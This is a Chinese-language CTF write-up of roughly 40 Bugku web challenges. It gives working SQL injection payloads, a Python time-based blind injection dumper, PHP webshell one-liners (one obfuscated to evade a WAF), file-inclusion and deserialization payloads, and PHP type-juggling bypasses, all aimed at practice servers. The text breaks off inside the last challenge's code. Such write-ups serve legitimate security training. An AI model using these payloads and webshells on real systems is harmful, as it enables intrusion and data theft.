Bugku Write Up

之前刷过的bugku,这次把之前的解题思路过程都总结到一起了,差不多有40道吧应该算比较全了。
本文属i春秋原创奖励计划,原文链接

Bugku Write Up

前言

之前刷过的bugku,这次把之前的解题思路过程都总结到一起了,差不多有40道吧应该算比较全了。

报错

题目说:访问参数为:?id=x不允许包含“–”,空格,单引号,双引号,“union”关键字,
查询文件中包含“”(双引号)里面的内容,需要查询的文件路径为:/var/test/key_1.php

针对上述过滤,我们可以采用如下办法绕过:

  • 空格:/**/
  • --:用#
  • union: uni%00on
  • 引号:hex编码

下面就可以开心的玩耍了~
爆库:

1
https://103.238.227.13:10088/id=0x3122/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x3a(select/**/schema_name/**/from/**/information_schema.schemata/**/limit/**/0,1),floor(rand()*2),0x3a,0x3a/**/)name/**/from/**/information_schema.tables/**/group/**/by/**/name)/**/b)/**/#

发现第二个数据库:sql41
Alt text
不过flag并不在这,他让我们查询文件路径。
参考这篇文章总结的12个错方式
floor报错怎么也读不出文件,于是试了一下extractvalue报错:

1
https://103.238.227.13:10088/?id=0x3122/**/and/**/extractvalue(1,concat(0x5c,(select/**/hex(load_file(0x2f7661722f746573742f6b65795f312e706870)))))/**/#

这里得把load_file()整个函数给hex编码,不然不知道为啥,不出数据
读出flag:
Alt text
不过,这只是其中的一节,我们还得想办法弄到后面的字符,这里采用substr():

1
https://103.238.227.13:10088/?id=0x3122/**/and/**/extractvalue(1,concat(0x5c,(select/**/concat(0x5c,substr((load_file(0x2f7661722f746573742f6b65795f312e706870)),100,30),0x5c)),0x5c))/**/#

截断几次后可以看到flag:
Alt text

这题真坑啊,要用中文的两个右双引号包裹才能成功交上去…
Flag:”7249f5a7fd1de602b30e6f39aea6193a”

insert into

参考文章:

题示信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
flag格式:flag{xxxxxxxxxxxx}
不如写个Python吧
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

根据题示信息可以知道:只有插入。没有输出,可以用时间盲注。
时间盲注就是在之后返回的内容相同,没法进行判断的时候;
在mysql数据库中插入sleep()函数,如果()语句能正确执行的话,&&就不会短路,sleep()可以执行,这样响应时间就会增大;而()发生错误没有返回结果时,&&会把sleep()函数短路无法执行;
伪造请求头:
Alt text
X-Forwarded-For: 1’ and sleep(5) and ‘1’ = ‘1
注意不能用来括号闭合 !!
脚本如下: 当初想的是自动化脱裤…代码有点简陋,需要完善的地方还是挺多的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# encoding:utf-8
import requests,time,string

characters = string.ascii_letters + string.digits + string.punctuation
max_length = 50
target = 'https://120.24.86.145:8002/web15/'
cur_database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"

# 猜解字母
def get(payload):
flag = ''
for i in range(1, max_length): # i 表示了所要查找的名字的最大长度
next_position = False
for char in characters: # 0x80=128 , 0x20=32, 32-128为可显示的字符的区间

payload_ = payload.format(str(i), char)
headers = {
'X-Forwarded-For': payload_
}
try:
r = requests.get(target,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout:
flag += char
print(flag)
next_position = True
break
if not next_position:
return flag

# 指定数据库,获取其下全部表名
def get_table(database):
for i in range(0,5):
print("正在查询数据库" + database + "中的表")
payload = "'+(select case when (substring((" \
"select table_name from information_schema.tables where table_schema='"+ database + "' limit 1 offset "+ str(i) +") " \
"from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
table = get(payload)
print( "数据库" + database + "的第"+ str(i+1) +"个表"+table)
get_col(table)

if not table:
print('数据库'+database+'中的表查询完毕')
break

# 查字段
def get_col(table):
for i in range(0,5):
print("正在查询表" + table + "中的字段")
payload = "'+(select case when (substring((" \
"select column_name from information_schema.columns where table_name='"+ table +"' limit 1 offset "+ str(i) +") " \
"from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
column = get(payload)
print("表" + table + "的第" + str(i+1) + "个字段为" + column )
# print(column)
if not column:
print("表" + table + "中的字段查询完毕")
break

# # 作为单独的模块使用吧,获取字段详细信息
# def result(column,table):
# payload = "'+(select case when (substring((select "+column+" from "+table+") from {0} for 1)='{1}') " \
# "then sleep(4) else 1 end) and '1'='1"
# print(get(payload))
# a = 'flag'
# result(a,a)

if __name__ == "__main__":
database1 = get(cur_database)
table1 = get_table(database1)

最后使用上面被注释掉的那个模块,
获取flag:flag{cdbf14c9551d5be5612f7bb5d2867853}

sql2

题示信息: hint:全都tm过滤了绝望吗? 提示 !,!=,=,+,-,^,%
这题当时我用brup爆破被过滤的字符也注了很久,sqlmap也跑了就是跑不出
Alt text
上面长度370的是都被过滤了的。
后来还是放弃了,去看了下wp,发现还是我太天真了,是.DS_Store源码泄露题。

.DS_Store文件泄露利用简介
DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。
如果开发人员将.DS_Store上传部署到线上环境,可能造成文件目录结构泄露,特别是备份文件、源代码文件

.DS_Store文件泄露利用
这里使用ds_store_exp脚本利用。

1
python ds_store_exp.py 120.24.86.145:8007/web2/.DS_Store

效果:
Alt text

当然在这之前需要:
使用工具nikto对该网页进行扫描,可以发现/web2/子目录下有.DS_Store文件泄露的漏洞
Alt text

备份是个好习惯

这里推荐一个CTF中常见的源码泄露利用工具,其实就是一个爆破字典
拿到一个index.php.bak
Alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

弱类型数组绕过:

1
https://120.24.86.145:8002/web16/index.php?kekeyy1[]=0&kkeyey2[]=a

Flag:Bugku{OH_YOU_FIND_MY_MOMY}

求getshell

文件上传题:
初步认定,黑名单+content-type验证,上传.htaccess可以成功但是会被改名
图片马也上了,没地方包含…
感觉题目有点奇怪。。看了wp之后 改的是表单提交的Content-Type: MUltipart/form-data 进行大小写绕过….
Alt text

文件包含2

看源码:文件上传,传了个<?php phpinfo()?> 过滤了<?,但是<没过滤…..
传了个一句话木马

1
<script language=php>eval($_POST['A'])</script>

菜刀连不上,试试命令执行。

1
2
3
<script language=php>
system("ls")
</script>

看到flag

1
2
3
<script language=php>
system("cat this_is_th3_F14g_154f65sd4g35f4d6f43.txt")
</script>

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

这是一个神奇的登陆框

burp抓包分析,有回显的盲注,改一下上面那个脚本就行,这里直接导出数据包直接跑sqlmap

1
SQLmap.py -r "path" -p  admin_name --dbs

Alt text

cookies欺骗

题目地址:https://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
这样访问进去:显示一行乱七八糟的字母
filename后参数base64解密:keys.txt

这里就得想一
下用这个方法看index.php,base64编码后
https://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
这里还有一个lne参数,控制代码行数,用脚本把源码拿出来:

1
2
3
4
5
6
7
8
9
10
# encoding:utf-8
import requests,re

line = 1
while line < 100:
url = 'https://120.24.86.145:8002/web11/index.php?line='+str(line) +'&filename=aW5kZXgucGhw'
s = requests.session()
responce = s.get(url)
print(responce.text)
line = line + 1

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

伪造cookie :margin=margin 访问:/web11/index.php?line=&filename=a2V5cy5waHA 其中a2V5cy5waHA 是keys.php base64加密后的
得到flag:<?php $key=’KEY{key_keys}’; ?>

flag在index里面

点一点链接,url变成了:

1
https://120.24.86.145:8005/post/index.php?file=show.php

这样应该就是php,包含了我们get输入的file参数。
问题是他说flag在index.php,我怎么样都读不出。
后来想到文件包含里面可以用PHP的filter来读php文件(不需要allow_url_include):

1
file=php://filter/read=convert.base64-encode/resource=./index.php

Alt text
base64解密后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>Bugku-ctf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

flag{edulcni_elif_lacol_si_siht}

nerver give up

看源码:1p.html
被跳转了,View-source: 看源码

得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

解码后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var Words ="<script>window.location.href='https://www.bugku.com';</script> ";
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) //不区分大小写的,返回第一个.的位置 这里不能有“.”
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r'); //加上@屏蔽错误信息
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->

关键的一段需要绕过的地方:

1
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

eregi有%00截断的漏洞,$data参数在前面配合file_get_contents()函数,我们可以php://input传入:
payload:

1
2
hello.php?id=%00&a=php://input&b=%0012345
post_data:bugku is a nice plateform!

flag{tHis_iS_THe_fLaG}

SQL约束攻击

参考: https://www.freebuf.com/articles/web/124537.html
SQL约束攻击:攻击者使用任意身份的登录的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// Checking whether a user with the same username exists
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
FROM users
WHERE username='$username'";
$res = mysql_query($query, $database);
if($res) {
if(mysql_num_rows($res) > 0) {
// User exists, exit gracefully
.
.
}
else {
// If not, only then insert a new entry
$query = "INSERT INTO users(username, password)
VALUES ('$username','$password')";
.
.
}
}

验证登录信息的页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
WHERE username='$username'
AND password='$password' ";
$res = mysql_query($query, $database);
if($res) {
if(mysql_num_rows($res) > 0){
$row = mysql_fetch_assoc($res);
return $row['username'];
}
}
return Null;

原理
这里这行select语句:SELECT FROM users WHERE username=’vampire ‘;
和这句的效果是一样的:SELECT
FROM users WHERE username=’vampire’;
SQL执行字符串处理时,字符串末尾的空格会被去除。

在insert查询中,SQL会根据varchar(n)来限制字符串的最大长度,也就是说大于n的话就只取前n个字符。

下面如果我们用”admin 1”和随便一个密码 来注册一个号子,对于注册界面的select语句,它并没有查到数据库中有该用户,所以成功绕过,运行到后面的insert语句的时候,只会插入前n个字符,所以当空格足够多的时候,相当于插入了一个”admin “
接下来到登录的页面,用admin和之前随便输入的密码进行登录的时候,搜索该用户名SELECT查询都将返回第一个数据记录。这样的话就可以使用原始用户身份登录。

防御办法:将名字那列加上UNIQUE约束,使之不能插入另一条记录,检测到两个相同的字符串,并insert查询失败。

flag: SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

Web8

题示信息:txt????

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

extract($_GET)注册变量
绕过办法:ac=aa&f=php://input
data=aa

后来还知道 访问flag.txt后出现flags (个人觉得,这种方法纯属取巧,很难知道目录下有flag.txt文件的)
https://120.24.86.145:8002/web8/?ac=flags&fn=flag.txt

其实不难发现,上面几个题都出现了file_get_contents函数,而且都和php伪协议有关,这意味着,以后碰到这个函数可以多往这个方面想想

welcome to bugku

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
you are not the number of bugku !   

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

既然要用伪协议传入welcome to the bugkuctf,那么就可以用php://filter/convert.base64-encode/resource=hint.php读出hint.php(直接读是读不出来的)

得到:

1
PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==

base64解码后:

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

__tostring:字符操作时触发()。
用这种伪协议读文件的方法的时候:一定要想着多看几个文件,像index.php(robots.txt) 不能漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
https://120.24.86.145:8006/test1/txt=php://input&file=php://filter/convert.base64-encode/resource=index.php&password=123

<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

echo $password 会触发__tostring
所以file参数写包含hint.php,txt还是之前的伪协议不变,password就
用以下脚本传入flag.php,序列化的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Flag
{
public $file = 'Flag.php';
public function __tostring()
{
if (isset($this->file)) {
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$a = new Flag();
echo serialize($a);
?>

password = O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
payload:

1
2
https://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/convert.base64-encode/resource=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
data:welcome to the bugkuctf

拿到flag
flag{php_is_the_best_language}

本地包含

题目源码:

1
2
3
4
5
6
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>

使用?hello=file(‘flag.php’)
或者?hello=show_source(‘flag.php’) 等可以读取源码的函数
或者构造var_dump($a) 闭合

成绩单

过滤了–+,
已判断字段4个

1
id=-2' union select 1,2,3,database() #

查出数据库:skctf_flag

1
id=-2' union select 1,2,3,table_name from information_schema.tables where table_schema='skctf_flag'  #

查出表:fl4g

1
id=-2' union select 1,2,3,column_name from information_schema.columns where table_name='fl4g'  #

查出字段skctf_flag

1
id=-2' union select 1,2,skctf_flag,4 from skctf_flag.fl4g #

查出flag:BUGKU{Sql_INJECT0N_4813drd8hz4}

各种绕过

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else

print 'sorry!';

}
?>

两个不相等的值,但sha1相等:一样用数组绕过即可获得flag

过狗一句话

题示信息:送给大家一个过狗一句话

1
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

1
https://120.24.86.145:8010/index.php?s=phpinfo() 执行成功

但是菜刀连不上,估计是限制了权限。
试了n久之后,看了wp
用的print_r(glob(‘*.php’));读取敏感文件

1
Array ( [0] => 2.php [1] => 3.php [2] => 4.php [3] => 5.php [4] => a.php [5] => c.php [6] => chaoba1.php [7] => chaoba2.php [8] => ddee.php [9] => f.php [10] => h.php [11] => haha.php [12] => index.php [13] => ll.php [14] => oudeniu.php [15] => phpspy1.php [16] => q.php [17] => t2.php [18] => txxxc.php [19] => x.php [20] => xxoo.php [21] => xxoos.php [22] => zx.php )

尝试:print_r(glob(‘*.txt’))

1
Array ( [0] => NewFile.txt [1] => a.txt [2] => flag.txt [3] => testfile.txt )

尝试:print_r(file(“./flag.txt”))

1
Array ( [0] => BUGKU{bugku_web_009801_a} )

前女友

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

v1和v2比:数组绕过
v3 strcmp()绕过:用数组即可

1
payload: https://118.89.219.210:49162/?v1[]=123&v2[]=ads&v3[]=123

flag:SKCTF{Php_1s_tH3_B3St_L4NgUag3}

秋名山老司机

Alt text
算术题,刷新一次变一次,多刷新几次会发现:
Alt text
让我们把答案在2秒内以value为参数post上去:

1
2
3
4
5
6
7
8
9
10
11
12
13
# encoding:utf-8
import requests,re

url = 'https://120.24.86.145:8002/qiumingshan/'
s = requests.Session()
responce = s.get(url)
final = re.findall(r'<div>(.+?)=',responce.text)
result = eval(final[0])
data = {
"value": str(result)
}
responce2 = s.post(url,data=data)
print(responce2.text)

这里有个坑:一定要开session,不然他会以为你是不同电脑发来的

速度要快

抓到返回headers 里面有base64加密的flag
base64解密后,发现flag部分还有一次base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# encoding:utf-8
import requests,base64,re

url = 'https://120.24.86.145:8002/web6/'
s = requests.session()
responce = s.get(url)
f = responce.headers['flag']
f = base64.b64decode(f)
print(f)
flag = re.findall(r':(.+?)\'',str(f))[0].strip()

data = {
'margin': base64.b64decode(flag)
}
print(flag)
responce2 = s.post(url,data=data)
print(responce2.text)

Trim的日记本

一想到这种题肯定考二次,但是扫了一下目录得到show.php,访问就拿到flag了。这个题没找到回显的点,不知道这个题是考察什么…

变量覆盖

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

解法1:

1
2
https://120.24.86.145:9009/1.php?shiyan=123&flag=php://input
post_data:123

解法2

1
https://120.24.86.145:9009/1.php?shiyan=&flag=

flag{bugku-dmsj-p2sm3N}
但是为什么赋1就不相等呢?

1
https://120.24.86.145:9009/1.php?shiyan=1&flag=1

后来在本地测了一下,因为file_get_contents($flag)始终是包含不到文件的,所以会返回一个空,此时只有当shiyan参数也为空才能相等。
demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$flag='123';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag1));
if($shiyan==$content)
{
echo 'bingo';
echo '<br>';
var_dump($flag);
echo '<br>';
var_dump($content);
echo '<br>';
var_dump($shiyan);
}
else
{
var_dump($flag.'<br>');
var_dump($content.'<br>');
var_dump($shiyan.'<br>');
echo'Oh.no';
}
}
?>

strcmp比较字符串

1
2
3
4
5
6
7
8
9
10
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

数组绕过:

1
https://120.24.86.145:9009/6.php?a[]=1

Flag: flag{bugku_dmsj_912k}

urldecode二次编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("

not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "

Access granted!
";
echo "

flag
";
}
?>

因为浏览器解析一次php解析一次,所以要两次编码:

1
https://120.24.86.145:9009/10.php?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61

flag{bugku__daimasj-1t2}

数组返回NULL绕过

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$flag = "flag";

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

ereg()函数匹配数组的时候会返回null,所以:

1
https://120.24.86.145:9009/19.php?password[]=1--

flag{ctf-bugku-ad-2131212}

弱类型整数大小比较绕过

题示源码:

1
2
3
4
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

要求我们传入的password参数不能为数字,且要大于1336。
我们可以在本地测试一下,is_numeric()函数可以被数组绕过,而且该数组可以和数字进行大小比较:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$temp = $_POST['passer6y'];
if(is_numeric($temp)) {
echo "is num<br>";
var_dump($temp);
}
else{
echo "is not num<br>";
var_dump($temp);
if($temp > 10){
echo "<br>\$temp > 10";
}
}
?>

Alt text
所以我们可以,构造payload:

1
https://120.24.86.145:9009/22.php?password[]=asdsadsadasd

得到flag:flag{bugku_null_numeric}

sha()函数比较绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo 'invalid password';
}
else
echo 'ogin first!';
?>

这个题目要求我们传入name和password参数不相等,但他们的sha1()加密后相等
我们可以本地测试一下如果sha1()函数加密一个数组返回的会是怎样:

1
2
3
4
<?php
$a = $_POST['passer6y'];
var_dump(sha1($a));
?>

Alt text
会发出一个警告,说sha1()希望参数是string类型,但如果我们传入一个数组类型,返回的是NULL,因此此题我们可以构造payload:

1
https://120.24.86.145:9009/7.php?name[]=123&password[]=a

得到:flag{bugku–daimasj-a2}

ps:sha1()和md5()处理数组的返回都是Null,所以都可以用数组来绕过

十六进制与数字比较

题示源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

这个题的意思就是说,不能输入1-9的数字,但是最后结果是要和 ‘3735929054’相等,
很容易想到用16进制绕过。
payload:

1
https://120.24.86.145:9009/20.php?password=0xDEADC0DE

ereg正则%00截断

题示源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$flag = "xxx";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo 'You password must be alphanumeri';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('- have not been found');
}
}
else
{
echo ’Invalid password';
}
}
?>

这个题要求我们传入的password变量,绕过ereg()变量,长度小于8且数值大于9999999,还要有”-“符号。
我们可以用%00来绕过ereg()变量,用数组绕过strlen()来限制我们的数字位数,paylaod如下

1
https://120.24.86.145:9009/5.php?password[]=%00999999999-

get flag:flag{bugku-dm-sj-a12JH8}
我在本地测数组绕过strlen()的长度限制,不论我传入的数组是什么值,都显示长度为5:
Alt text

1
2
3
4
<?php
$a = $_POST['passer6y'];
var_dump(strlen($a));
?>

strpos数组绕过

题示源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>

strpos()函数和ereg()函数一样也具有数组绕过漏洞
paylaod:

1
https://120.24.86.145:9009/15.php?ctf[]=123asd

数字验证正则绕过

题示源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
